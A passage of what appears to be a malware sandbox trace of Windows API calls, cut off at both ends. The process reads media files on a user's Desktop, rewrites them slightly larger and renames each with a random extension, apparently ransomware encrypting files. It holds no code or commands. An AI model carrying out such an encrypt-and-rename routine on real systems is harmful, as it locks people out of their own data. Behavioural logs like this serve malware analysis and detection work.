lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\qPNadjyauA.gif.4rurbq" (normalized: "c:\\users\\keecfmwgj\\desktop\\qpnadjyaua.gif.4rurbq")) returned 1 [0150.254] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\rUCB3xQFyrda.avi", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\rUCB3xQFyrda.avi", lpFilePart=0x0) returned 0x2b [0150.254] SetErrorMode (uMode=0x1) returned 0x0 [0150.255] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\rUCB3xQFyrda.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\rucb3xqfyrda.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.255] GetFileType (hFile=0x1d0) returned 0x1 [0150.255] SetErrorMode (uMode=0x0) returned 0x1 [0150.255] GetFileType (hFile=0x1d0) returned 0x1 [0150.255] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0xb3a1 [0150.255] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a2f440, nNumberOfBytesToRead=0xb3a1, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2a2f440*, lpNumberOfBytesRead=0x21d4d8*=0xb3a1, lpOverlapped=0x0) returned 1 [0150.420] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\rUCB3xQFyrda.avi", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\rUCB3xQFyrda.avi", lpFilePart=0x0) returned 0x2b [0150.420] SetErrorMode (uMode=0x1) returned 0x0 [0150.420] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\rUCB3xQFyrda.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\rucb3xqfyrda.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.423] GetFileType (hFile=0x1d0) returned 0x1 [0150.423] SetErrorMode (uMode=0x0) returned 0x1 [0150.423] GetFileType (hFile=0x1d0) returned 0x1 [0150.423] WriteFile (in: hFile=0x1d0, lpBuffer=0x292bae8*, nNumberOfBytesToWrite=0xb3b0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x292bae8*, lpNumberOfBytesWritten=0x21d558*=0xb3b0, lpOverlapped=0x0) returned 1 [0150.428] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\rUCB3xQFyrda.avi", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\rUCB3xQFyrda.avi", lpFilePart=0x0) returned 0x2b [0150.428] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\rUCB3xQFyrda.avi.fxd0j7", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\rUCB3xQFyrda.avi.fxd0j7", lpFilePart=0x0) returned 0x32 [0150.428] SetErrorMode (uMode=0x1) returned 0x0 [0150.428] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\rUCB3xQFyrda.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\rucb3xqfyrda.avi"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886c6bb0, ftCreationTime.dwHighDateTime=0x1d8b2f8, ftLastAccessTime.dwLowDateTime=0x271aed10, ftLastAccessTime.dwHighDateTime=0x1d8b8bf, ftLastWriteTime.dwLowDateTime=0x56261ae0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xb3b0)) returned 1 [0150.428] SetErrorMode (uMode=0x0) returned 0x1 [0150.429] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\rUCB3xQFyrda.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\rucb3xqfyrda.avi"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\rUCB3xQFyrda.avi.fxd0j7" (normalized: "c:\\users\\keecfmwgj\\desktop\\rucb3xqfyrda.avi.fxd0j7")) returned 1 [0150.430] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\tHdXe2-Gmf-Jn.m4a", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\tHdXe2-Gmf-Jn.m4a", lpFilePart=0x0) returned 0x2c [0150.430] SetErrorMode (uMode=0x1) returned 0x0 [0150.430] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\tHdXe2-Gmf-Jn.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\thdxe2-gmf-jn.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.430] GetFileType (hFile=0x1d0) returned 0x1 [0150.430] SetErrorMode (uMode=0x0) returned 0x1 [0150.430] GetFileType (hFile=0x1d0) returned 0x1 [0150.430] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0xd7db [0150.430] ReadFile (in: hFile=0x1d0, lpBuffer=0x2937da8, nNumberOfBytesToRead=0xd7db, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2937da8*, lpNumberOfBytesRead=0x21d4d8*=0xd7db, lpOverlapped=0x0) returned 1 [0150.461] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\tHdXe2-Gmf-Jn.m4a", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\tHdXe2-Gmf-Jn.m4a", lpFilePart=0x0) returned 0x2c [0150.461] SetErrorMode (uMode=0x1) returned 0x0 [0150.461] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\tHdXe2-Gmf-Jn.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\thdxe2-gmf-jn.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.463] GetFileType (hFile=0x1d0) returned 0x1 [0150.463] SetErrorMode (uMode=0x0) returned 0x1 [0150.463] GetFileType (hFile=0x1d0) returned 0x1 [0150.463] WriteFile (in: hFile=0x1d0, lpBuffer=0x28425b8*, nNumberOfBytesToWrite=0xd7e0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x28425b8*, lpNumberOfBytesWritten=0x21d558*=0xd7e0, lpOverlapped=0x0) returned 1 [0150.466] CloseHandle (hObject=0x1d0) returned 1 [0150.467] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\tHdXe2-Gmf-Jn.m4a", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\tHdXe2-Gmf-Jn.m4a", lpFilePart=0x0) returned 0x2c [0150.468] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\tHdXe2-Gmf-Jn.m4a.zq8ar0", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\tHdXe2-Gmf-Jn.m4a.zq8ar0", lpFilePart=0x0) returned 0x33 [0150.468] SetErrorMode (uMode=0x1) returned 0x0 [0150.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\tHdXe2-Gmf-Jn.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\thdxe2-gmf-jn.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf811cc90, ftCreationTime.dwHighDateTime=0x1d8c012, ftLastAccessTime.dwLowDateTime=0x79874a40, ftLastAccessTime.dwHighDateTime=0x1d8c0b6, ftLastWriteTime.dwLowDateTime=0x562d3f00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xd7e0)) returned 1 [0150.468] SetErrorMode (uMode=0x0) returned 0x1 [0150.468] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\tHdXe2-Gmf-Jn.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\thdxe2-gmf-jn.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\tHdXe2-Gmf-Jn.m4a.zq8ar0" (normalized: "c:\\users\\keecfmwgj\\desktop\\thdxe2-gmf-jn.m4a.zq8ar0")) returned 1 [0150.469] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\UXGmU pGd2S4zNZsQ.jpg", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\UXGmU pGd2S4zNZsQ.jpg", lpFilePart=0x0) returned 0x30 [0150.469] SetErrorMode (uMode=0x1) returned 0x0 [0150.469] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\UXGmU pGd2S4zNZsQ.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\uxgmu pgd2s4znzsq.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.470] GetFileType (hFile=0x1d0) returned 0x1 [0150.470] SetErrorMode (uMode=0x0) returned 0x1 [0150.470] GetFileType (hFile=0x1d0) returned 0x1 [0150.470] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x49b3 [0150.470] ReadFile (in: hFile=0x1d0, lpBuffer=0x2850c48, nNumberOfBytesToRead=0x49b3, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2850c48*, lpNumberOfBytesRead=0x21d4d8*=0x49b3, lpOverlapped=0x0) returned 1 [0150.471] CloseHandle (hObject=0x1d0) returned 1 [0150.539] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\UXGmU pGd2S4zNZsQ.jpg", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\UXGmU pGd2S4zNZsQ.jpg", lpFilePart=0x0) returned 0x30 [0150.539] SetErrorMode (uMode=0x1) returned 0x0 [0150.539] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\UXGmU pGd2S4zNZsQ.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\uxgmu pgd2s4znzsq.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.540] GetFileType (hFile=0x1d0) returned 0x1 [0150.540] SetErrorMode (uMode=0x0) returned 0x1 [0150.540] GetFileType (hFile=0x1d0) returned 0x1 [0150.541] WriteFile (in: hFile=0x1d0, lpBuffer=0x2947b28*, nNumberOfBytesToWrite=0x49c0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2947b28*, lpNumberOfBytesWritten=0x21d558*=0x49c0, lpOverlapped=0x0) returned 1 [0150.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\UXGmU pGd2S4zNZsQ.jpg", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\UXGmU pGd2S4zNZsQ.jpg", lpFilePart=0x0) returned 0x30 [0150.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\UXGmU pGd2S4zNZsQ.jpg.dxkiqf", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\UXGmU pGd2S4zNZsQ.jpg.dxkiqf", lpFilePart=0x0) returned 0x37 [0150.543] SetErrorMode (uMode=0x1) returned 0x0 [0150.543] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\UXGmU pGd2S4zNZsQ.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\uxgmu pgd2s4znzsq.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bac91b0, ftCreationTime.dwHighDateTime=0x1d8b97e, ftLastAccessTime.dwLowDateTime=0x1a6ebdc0, ftLastAccessTime.dwHighDateTime=0x1d8ba1e, ftLastWriteTime.dwLowDateTime=0x5636c480, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x49c0)) returned 1 [0150.543] SetErrorMode (uMode=0x0) returned 0x1 [0150.543] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\UXGmU pGd2S4zNZsQ.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\uxgmu pgd2s4znzsq.jpg"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\UXGmU pGd2S4zNZsQ.jpg.dxkiqf" (normalized: "c:\\users\\keecfmwgj\\desktop\\uxgmu pgd2s4znzsq.jpg.dxkiqf")) returned 1 [0150.544] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\vIc6iFS.gif", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\vIc6iFS.gif", lpFilePart=0x0) returned 0x26 [0150.544] SetErrorMode (uMode=0x1) returned 0x0 [0150.544] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\vIc6iFS.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\vic6ifs.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.545] GetFileType (hFile=0x1d0) returned 0x1 [0150.545] SetErrorMode (uMode=0x0) returned 0x1 [0150.545] GetFileType (hFile=0x1d0) returned 0x1 [0150.545] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x1f3d [0150.545] ReadFile (in: hFile=0x1d0, lpBuffer=0x294d390, nNumberOfBytesToRead=0x1f3d, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x294d390*, lpNumberOfBytesRead=0x21d4d8*=0x1f3d, lpOverlapped=0x0) returned 1 [0150.563] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\vIc6iFS.gif", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\vIc6iFS.gif", lpFilePart=0x0) returned 0x26 [0150.563] SetErrorMode (uMode=0x1) returned 0x0 [0150.563] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\vIc6iFS.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\vic6ifs.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.564] GetFileType (hFile=0x1d0) returned 0x1 [0150.564] SetErrorMode (uMode=0x0) returned 0x1 [0150.564] GetFileType (hFile=0x1d0) returned 0x1 [0150.564] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a36ad8*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2a36ad8*, lpNumberOfBytesWritten=0x21d558*=0x1f40, lpOverlapped=0x0) returned 1 [0150.566] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\vIc6iFS.gif", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\vIc6iFS.gif", lpFilePart=0x0) returned 0x26 [0150.566] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\vIc6iFS.gif.4bxc8e", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\vIc6iFS.gif.4bxc8e", lpFilePart=0x0) returned 0x2d [0150.566] SetErrorMode (uMode=0x1) returned 0x0 [0150.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\vIc6iFS.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\vic6ifs.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a7ed000, ftCreationTime.dwHighDateTime=0x1d8c0e5, ftLastAccessTime.dwLowDateTime=0x2c1421e0, ftLastAccessTime.dwHighDateTime=0x1d8c0ff, ftLastWriteTime.dwLowDateTime=0x563b8740, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1f40)) returned 1 [0150.566] SetErrorMode (uMode=0x0) returned 0x1 [0150.567] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\vIc6iFS.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\vic6ifs.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\vIc6iFS.gif.4bxc8e" (normalized: "c:\\users\\keecfmwgj\\desktop\\vic6ifs.gif.4bxc8e")) returned 1 [0150.567] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\wfRmp.png", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\wfRmp.png", lpFilePart=0x0) returned 0x24 [0150.568] SetErrorMode (uMode=0x1) returned 0x0 [0150.568] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\wfRmp.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\wfrmp.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.568] GetFileType (hFile=0x1d0) returned 0x1 [0150.568] SetErrorMode (uMode=0x0) returned 0x1 [0150.568] GetFileType (hFile=0x1d0) returned 0x1 [0150.568] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x11918 [0150.568] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a398d8, nNumberOfBytesToRead=0x11918, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2a398d8*, lpNumberOfBytesRead=0x21d4d8*=0x11918, lpOverlapped=0x0) returned 1 [0150.641] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\wfRmp.png", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\wfRmp.png", lpFilePart=0x0) returned 0x24 [0150.641] SetErrorMode (uMode=0x1) returned 0x0 [0150.641] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\wfRmp.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\wfrmp.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.643] GetFileType (hFile=0x1d0) returned 0x1 [0150.643] SetErrorMode (uMode=0x0) returned 0x1 [0150.643] GetFileType (hFile=0x1d0) returned 0x1 [0150.643] WriteFile (in: hFile=0x1d0, lpBuffer=0x2947880*, nNumberOfBytesToWrite=0x11920, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2947880*, lpNumberOfBytesWritten=0x21d558*=0x11920, lpOverlapped=0x0) returned 1 [0150.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\wfRmp.png", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\wfRmp.png", lpFilePart=0x0) returned 0x24 [0150.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\wfRmp.png.u8g1ek", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\wfRmp.png.u8g1ek", lpFilePart=0x0) returned 0x2b [0150.647] SetErrorMode (uMode=0x1) returned 0x0 [0150.647] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\wfRmp.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\wfrmp.png"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6468b400, ftCreationTime.dwHighDateTime=0x1d8beae, ftLastAccessTime.dwLowDateTime=0x4dec0f60, ftLastAccessTime.dwHighDateTime=0x1d8bf4e, ftLastWriteTime.dwLowDateTime=0x56476e20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x11920)) returned 1 [0150.647] SetErrorMode (uMode=0x0) returned 0x1 [0150.647] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\wfRmp.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\wfrmp.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\wfRmp.png.u8g1ek" (normalized: "c:\\users\\keecfmwgj\\desktop\\wfrmp.png.u8g1ek")) returned 1 [0150.648] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d", lpFilePart=0x0) returned 0x2f [0150.649] SetErrorMode (uMode=0x1) returned 0x0 [0150.649] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ef66dc0, ftCreationTime.dwHighDateTime=0x1d8b79d, ftLastAccessTime.dwLowDateTime=0xf3151c40, ftLastAccessTime.dwHighDateTime=0x1d8baba, ftLastWriteTime.dwLowDateTime=0xf3151c40, ftLastWriteTime.dwHighDateTime=0x1d8baba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0150.649] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ef66dc0, ftCreationTime.dwHighDateTime=0x1d8b79d, ftLastAccessTime.dwLowDateTime=0xf3151c40, ftLastAccessTime.dwHighDateTime=0x1d8baba, ftLastWriteTime.dwLowDateTime=0xf3151c40, ftLastWriteTime.dwHighDateTime=0x1d8baba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.649] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x647b090, ftCreationTime.dwHighDateTime=0x1d8b69a, ftLastAccessTime.dwLowDateTime=0x324707f0, ftLastAccessTime.dwHighDateTime=0x1d8b914, ftLastWriteTime.dwLowDateTime=0x324707f0, ftLastWriteTime.dwHighDateTime=0x1d8b914, nFileSizeHigh=0x0, nFileSizeLow=0x795a, dwReserved0=0x0, dwReserved1=0x0, cFileName="E-uYSW4Do.avi", cAlternateFileName="E-UYSW~1.AVI")) returned 1 [0150.649] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0c80d0, ftCreationTime.dwHighDateTime=0x1d8c040, ftLastAccessTime.dwLowDateTime=0xcbac2150, ftLastAccessTime.dwHighDateTime=0x1d8c111, ftLastWriteTime.dwLowDateTime=0xcbac2150, ftLastWriteTime.dwHighDateTime=0x1d8c111, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eb_Y", cAlternateFileName="")) returned 1 [0150.649] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7afe140, ftCreationTime.dwHighDateTime=0x1d8b367, ftLastAccessTime.dwLowDateTime=0x13c955d0, ftLastAccessTime.dwHighDateTime=0x1d8bb71, ftLastWriteTime.dwLowDateTime=0x13c955d0, ftLastWriteTime.dwHighDateTime=0x1d8bb71, nFileSizeHigh=0x0, nFileSizeLow=0x3311, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQf1Ede7tU.wav", cAlternateFileName="EQF1ED~1.WAV")) returned 1 [0150.650] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cda6a0, ftCreationTime.dwHighDateTime=0x1d8b9ea, ftLastAccessTime.dwLowDateTime=0x1f841810, ftLastAccessTime.dwHighDateTime=0x1d8bf27, ftLastWriteTime.dwLowDateTime=0x1f841810, ftLastWriteTime.dwHighDateTime=0x1d8bf27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TsyPWpsnMPhL", cAlternateFileName="TSYPWP~1")) returned 1 [0150.650] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f484df0, ftCreationTime.dwHighDateTime=0x1d8b40b, ftLastAccessTime.dwLowDateTime=0xa8db0070, ftLastAccessTime.dwHighDateTime=0x1d8b5c1, ftLastWriteTime.dwLowDateTime=0xa8db0070, ftLastWriteTime.dwHighDateTime=0x1d8b5c1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WZrkNAWu", cAlternateFileName="")) returned 1 [0150.650] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a98fa0, ftCreationTime.dwHighDateTime=0x1d8bcca, ftLastAccessTime.dwLowDateTime=0x7999f4b0, ftLastAccessTime.dwHighDateTime=0x1d8bd91, ftLastWriteTime.dwLowDateTime=0x7999f4b0, ftLastWriteTime.dwHighDateTime=0x1d8bd91, nFileSizeHigh=0x0, nFileSizeLow=0x12d5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="X7gt.mp4", cAlternateFileName="")) returned 1 [0150.650] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0848640, ftCreationTime.dwHighDateTime=0x1d8b64e, ftLastAccessTime.dwLowDateTime=0x6a4c98b0, ftLastAccessTime.dwHighDateTime=0x1d8c024, ftLastWriteTime.dwLowDateTime=0x6a4c98b0, ftLastWriteTime.dwHighDateTime=0x1d8c024, nFileSizeHigh=0x0, nFileSizeLow=0x12882, dwReserved0=0x0, dwReserved1=0x0, cFileName="z_lv1UW3Z.bmp", cAlternateFileName="Z_LV1U~1.BMP")) returned 1 [0150.650] FindNextFileW (in: hFindFile=0x2fe5d0, 